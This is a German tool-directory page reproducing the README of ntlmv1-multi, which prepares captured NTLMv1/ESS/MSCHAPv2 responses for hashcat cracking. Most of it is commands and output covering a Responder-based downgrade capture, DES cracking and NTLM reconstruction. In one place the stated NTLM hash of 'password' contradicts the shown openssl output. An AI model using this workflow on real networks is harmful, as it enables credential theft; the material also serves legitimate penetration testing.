Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ntlmv1-multi — NTLMv1-Multitool | Kitploit
Tools/GitHubGitHub/evilmog/ntlmv1-multi
Passwort-CrackingVerschlüsselungs-/EntschlüsselungstoolsPasswortangriffeHash-AnalyseKryptographieAuthentifizierung
GitHubevilmog/ntlmv1-multi

ntlmv1-multi

NTLMv1-Multitool

Repository anzeigen
670997vor 2 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

NTLMv1-Multitool

Dieses Tool wandelt NTLMv1-Hashes in NTLM um, genauer gesagt formatiert es NTLMv1-Challenge-Responses in ein Format, das mit hashcat-Modus 14000 geknackt werden kann.

CT3-Berechnung

Wenn du --ct3 angibst, berechnet es die letzten 4 Zeichen des NTLM-Hashes für dich. Wenn du --json angibst, ist --ct3 impliziert und es wird als Element pt3 zurückgegeben, z. B.:

root@kitploit:~
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json 

{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}

Schließlich habe ich in diesem Update die Funktionen in main() verschoben, sodass du das Modul einfach importieren kannst, um es direkt zu verwenden.

Updates vom 10. November 2020

Ich habe 2 neue Optionen hinzugefügt, --hashcat und --hcutils. Diese legen den Pfad zu deinem hashcat bzw. deinen hashcat-utils fest, sodass du direkt aus dem Tool kopieren und einfügen kannst.

Du würdest das Tool so ausführen, wenn sich dein hashcat-Verzeichnis in ~/git/hashcat und dein hashcat-utils-Verzeichnis in ~/git/hashcat-utils befindet:

root@kitploit:~
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"

Updates vom 10. Dezember 2019

Ja, das ist angeblich Python-3-kompatibel. Ich habe außerdem ntlmv1 und ntlmv1-ess zusammengeführt.

ntlmv1-multi

NTLMv1-Multitool

Dieses Tool modifiziert NTLMv1-/NTLMv1-ESS-/MSCHAPv2-Hashes, sodass sie mit DES-Modus 14000 in hashcat geknackt werden können.

Dieses Tool basiert auf Arbeiten von atom vom Team Hashcat https://hashcat.net/forum/thread-5832.html

Es basiert außerdem auf https://hashcat.net/forum/thread-5912.html und https://www.youtube.com/watch?v=LIHACAct2vo

Installation

Installiere das Next-Gen-Tool ntlmv1_nextgen.py als globalen ntlmv1-multi-Befehl mit uv:

root@kitploit:~
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"

Oder führe es direkt aus dem Repo aus, ohne es zu installieren:

root@kitploit:~
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."

Das Projekt enthält eine pyproject.toml (Python 3.14+, Abhängigkeit pycryptodome), sodass uv alles für dich auflöst. Das ursprüngliche ntlmv1.py läuft weiterhin eigenständig mit jedem Python-3-Interpreter.

Next-Gen-Tool (ntlmv1_nextgen.py)

ntlmv1_nextgen.py (installiert als Befehl ntlmv1-multi) ist der moderne Parser. Er akzeptiert NTLMv1, $99$-Blobs und MSCHAPv2, behandelt ESS automatisch und kann die vollständige NTLMv1-zu-NTLM-Konvertierung in einem Schritt aus einer geknackten Potfile abschließen. Verfügbare Optionen:

Verwendung

NTLMv1 ohne ESS

Zum Mitschneiden verwende Responder mit dem Flag --lm. Ohne --lm aktivierst du ESS, was länger zum Knacken dauert. Außerdem gibt es ein neues Flag --disable-ess, das versucht, ESS zu deaktivieren und den Downgrade zu erzwingen. Versuche zuerst --disable-ess und falls das fehlschlägt, bitte --lm. Wenn du --disable-ess oder --lm verwendest, stelle sicher, dass deine Client-Challenge 1122334455667788 ist, um das FPGA zu nutzen. Dies könnte jedoch einige Netzwerk-IDS/IPS-Schutzmechanismen auslösen, wenn sie diesen Datenverkehr sehen.

Der Mitschrieb sieht dann wie folgt aus.

root@kitploit:~
[SMB] NTLMv1 Client   : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash     : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat

Der Hash-Teil sieht wie folgt aus

root@kitploit:~
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

Verwende das Multitool also wie folgt (es ist auch Python-2-kompatibel)

root@kitploit:~
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

Es gibt die folgenden Daten aus, ohne Server-Challenges usw. zu verändern.

root@kitploit:~
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Das in diesem Fall verwendete Passwort ist „password" und wir können den NTLM-Hash überprüfen mit

root@kitploit:~
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c

Mit ct3_to_ntlm.bin aus den hashcat-utils, das atom geschrieben hat, kannst du die letzten 4 Zeichen des NTLM-Hashes aus der NTLMv1-Challenge berechnen, die das Tool ausgibt.

root@kitploit:~
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c

Das stimmt mit dem Ende des NTLM-Hashes überein, also können wir loslegen. Der nächste Schritt ist das Knacken der Hashes mit hashcat. Dazu müssen wir eine Datei hashes.txt mit folgendem Inhalt erstellen:

root@kitploit:~
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

Zum Knacken mit hashcat verwendest du

root@kitploit:~
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Ein wichtiger Hinweis: hashcat gibt DES-Schlüssel und keine NTLM-Schlüssel zurück. Du musst sie mit deskey_to_ntlm.pl aus den Hashcat Utils in NTLM konvertieren. Das geht so:

root@kitploit:~
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]

Du kombinierst dann die beiden NTLM-Schlüssel mit dem dritten Teil des Passworts. Berechnet durch (was auch immer das Tool ausgibt):

root@kitploit:~
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

Setze diese 3 Teile zusammen und du bist startklar.

Testen mit dem DES-Konverter

Wenn du nur meinen Code testest und das Passwort bereits kennst, kannst du den DES-Konverter verwenden:

root@kitploit:~
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand

Im Grunde machst du Folgendes:

root@kitploit:~
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
root@kitploit:~
./hashcat -m 14000 -a 0 hashes.txt des.cand

Und du solltest ein paar geknackte Hashes haben.

NTLMv1 mit ESS

ESS verändert die Server-Challenge. Wenn du ESS in deinem Responder siehst, weil du --lm nicht verwendet hast oder der Client so eingestellt ist, keine LM-Antwort zu senden, wird ESS aktiviert. Außerdem versucht --disable-ess, ESS abzuschalten. Dies erfordert jedoch eine aktuelle Kopie (August 2021 oder neuer) von impacket und Responder.

Die ESS-Ausgabe sieht wie folgt aus

root@kitploit:~
[SMB] NTLMv1-SSP Client   : 184.64.60.62
[SMB] NTLMv1-SSP Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1-SSP Hash     : hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788

Der eigentliche Hash sieht wie folgt aus

root@kitploit:~
hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788

Um das Tool zu verwenden, führe aus (es ist Python-3-kompatibel):

root@kitploit:~
python3 ntlmv1.py --ntlmv1 "hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788"

Das Tool wird Folgendes ausgeben:

root@kitploit:~
Hashfield Split:
['hashcat', '', 'DUSTIN-5AA37877', '85D5BC2CE95161CD00000000000000000000000000000000', '892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
LM Response: 85D5BC2CE95161CD00000000000000000000000000000000
NT Response: 892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0
Client Challenge: 1122334455667788
SRV Challenge: b36d2b9a8607ea77

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000

To crack with hashcat create a file with the following contents:
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Das Passwort, das wir in diesem Fall verwenden, ist password, das einen NTLM-Hash von b4b9b02e6f09a9bd760f388b67351e2b hat.

root@kitploit:~
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c

Um also die letzten 4 Zeichen des NTLM-Hashes für unsere NTLMv1-ESS-Challenge zu berechnen, verwenden wir den folgenden Befehl aus der Tool-Ausgabe, um 586c zu erhalten:

root@kitploit:~
./ct3_to_ntlm.bin 2BBD6C9ABCD021D0 1122334455667788 85D5BC2CE95161CD00000000000000000000000000000000

Wir müssen eine Hash-Datei mit folgendem Inhalt erstellen, entsprechend dem Tool, das die modifizierten SRV-Challenges zur Behandlung von ESS enthält:

root@kitploit:~
892F905962F76D32:b36d2b9a8607ea77
3837F613F88DE27C:b36d2b9a8607ea77

Zum Knacken mit hashcat verwenden wir gemäß dem Tool Folgendes:

root@kitploit:~
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

Ein wichtiger Hinweis: hashcat gibt DES-Schlüssel und keine NTLM-Schlüssel zurück. Du musst sie mit deskey_to_ntlm.pl aus den Hashcat Utils in NTLM konvertieren. Das geht so:

root@kitploit:~
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]

Nehmen wir nun an, wir wüssten bereits, was der NTLM-Hash in diesem Fall ist, weil wir ihn erstellt haben, und möchten die Toolchain validieren. Dann verwenden wir Folgendes:

root@kitploit:~
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b

Das wird uns einige Daten ausgeben:

root@kitploit:~
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand

Der wichtige Teil hier ist:

root@kitploit:~
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand

Jetzt können wir mit hashcat knacken, indem wir Folgendes verwenden, und müssen nicht 8 Tage warten:

root@kitploit:~
./hashcat -m 14000 -a 0 hashes.txt des.cand

NTLM-Hash-zu-DES-Schlüssel-Konverter für Datenvalidierungstests

root@kitploit:~
python ntlm-to-des.py  --ntlm 8846f7eaee8fb117ad06bdd830b7586c
root@kitploit:~
DESKEY1: b55d6d05e6792652
DESKEY2: bdba82e6895a9d6a

echo "$HEX[b55d6d05e6792652]">>des.cand
echo "$HEX[bdba82e6895a9d6a]">>des.cand

JSON-Unterstützung

Das Tool unterstützt jetzt JSON-Ausgabe. Setze das Flag --json und es wird eine JSON-Ausgabe erzeugen:

root@kitploit:~
python3 ntlmv1.py --ntlmv1 "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d" --json
{"ntlmv1": "SERVER1$::MOG:7EF3F506F5EA510E00000000000000000000000000000000:1217169BD7BE0270A033899BD440016D3E6DACAF5894D504:ff81dfd6b12c269d", "user": "SERVER1$", "domain": "MOG", "challenge": "ff81dfd6b12c269d", "lmresp": "7EF3F506F5EA510E00000000000000000000000000000000", "ntresp": "1217169BD7BE0270A033899BD440016D3E6DACAF5894D504", "ct3": "3E6DACAF5894D504", "srvchallenge": "888f8ee0fa031808", "ct3_crack": "ct3_to_ntlm.bin 3E6DACAF5894D504 ff81dfd6b12c269d 7EF3F506F5EA510E00000000000000000000000000000000", "hash1": "1217169BD7BE0270:888f8ee0fa031808", "hash2": "A033899BD440016D:888f8ee0fa031808", "CRACK_SH": "$NETLM$888f8ee0fa031808$1217169BD7BE0270A033899BD440016D3E6DACAF5894D504"}

Die wichtigen Felder sind:

  • hash1 – das ist der erste Hash für hashcat-Modus 14000
  • hash2 – das ist der zweite Hash für hashcat-Modus 14000
  • ct3_crack – das ist der Befehl zum Knacken von ct3 mit den hashcat-utils
  • ntlmv1 – das ist der ursprüngliche NTLMv1-Hash
  • user – das ist das Benutzerfeld
  • domain – das ist das Domänenfeld
  • lmresp – das ist die LM-Antwort
  • ntresp – das ist die NT-Antwort
  • challenge – das ist das ursprüngliche Challenge-Feld
  • srvchallenge – wenn dies ein ESS-Hash ist, wird die SRV-Challenge befüllt

NTLMv1-zu-NTLM in einem Durchgang mit einer hashcat-Potfile

Nachdem du die DES-Hashes des Modus 14000 mit hashcat geknackt hast, landen die geknackten DES-Schlüssel in deiner Potfile als ct:challenge:key-Zeilen (der Schlüssel wird normalerweise als $HEX[...] gespeichert, da es sich um rohe Bytes handelt). Anstatt die Schlüssel manuell mit --key1/--key2 zurückzukopieren, richte ntlmv1_nextgen.py auf die Potfile aus, und es wird die Schlüssel wiederherstellen, sie gegen die Chiffrate validieren und die vollständige NTLMv1-zu-NTLM-Konvertierung in einem Schritt abschließen:

root@kitploit:~
python3 ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788" --potfile ~/.local/share/hashcat/hashcat.potfile

Der wiederhergestellte NTLM-Hash wird als Feld NTLM ausgegeben (bzw. ntlm bei --json). --potfile funktioniert mit --ntlmv1, --99 und --mschapv2, behandelt ESS-Hashes (Abgleich über die von MD5 abgeleitete Challenge) und ignoriert nicht zusammenhängende Potfile-Einträge. Explizite --key1/--key2 haben weiterhin Vorrang vor Potfile-Übereinstimmungen.

Sowohl hashcat- als auch rainbowcrackalack-Potfiles werden akzeptiert. Das Feld für den geknackten Schlüssel kann ein hashcat-$HEX[...]-Blob, nackte druckbare Bytes, ein nackter 16-Hex-8-Byte-Schlüssel oder ein nackter 14-Hex-7-Byte-Schlüssel sein (die Form, die rainbowcrackalack ausgibt) – alle werden normalisiert und vor der Verwendung erneut gegen das Chiffrat validiert.

Danksagung / Lizenz

Dieses Repo basiert auf Forenbeiträgen von atom, dem Autor von hashcat, und auf Forschung von moxie marlinspike. Da atoms Code größtenteils unter der MIT-Lizenz steht, hat dieses Projekt diese Lizenz ebenfalls übernommen, um kompatibel zu sein. Dieses Projekt ist nicht GPL-lizenziert, sodass jede Einrichtung es ohne Einschränkungen in ein kommerzielles Projekt integrieren kann.

Tool herunterladen
OptionBeschreibung
--ntlmv1 <hash>NTLMv1-Hash im Responder-Format (user::host:LM:NT:challenge).
--99 <blob>Base64-Blob im $99$-Stil.
--mschapv2 <hash>MSCHAPv2-Hash im John-the-Ripper-Format.
--nthash <hex>32-stelliger NTLM-Hash; leitet die DES-Schlüssel und hashcat-Kandidaten ab.
--password <pw>Leitet die DES-Schlüssel --key1/--key2 aus einem bekannten Passwort ab.
--key1 <hex> / --key2 <hex>Liefert die 16-Hex-DES-Schlüssel für CT1/CT2 direkt (hat Vorrang vor --potfile).
--potfile <path>Potfile (hashcat/rainbowcrackalack) mit geknackten Modus-14000-Schlüsseln; stellt key1/key2 automatisch wieder her, um die NTLMv1-zu-NTLM-Konvertierung abzuschließen.
--hashcatGibt Strings im hashcat-Format für CT1/CT2 aus.
--jsonGibt nur JSON aus (impliziert die CT3-Berechnung).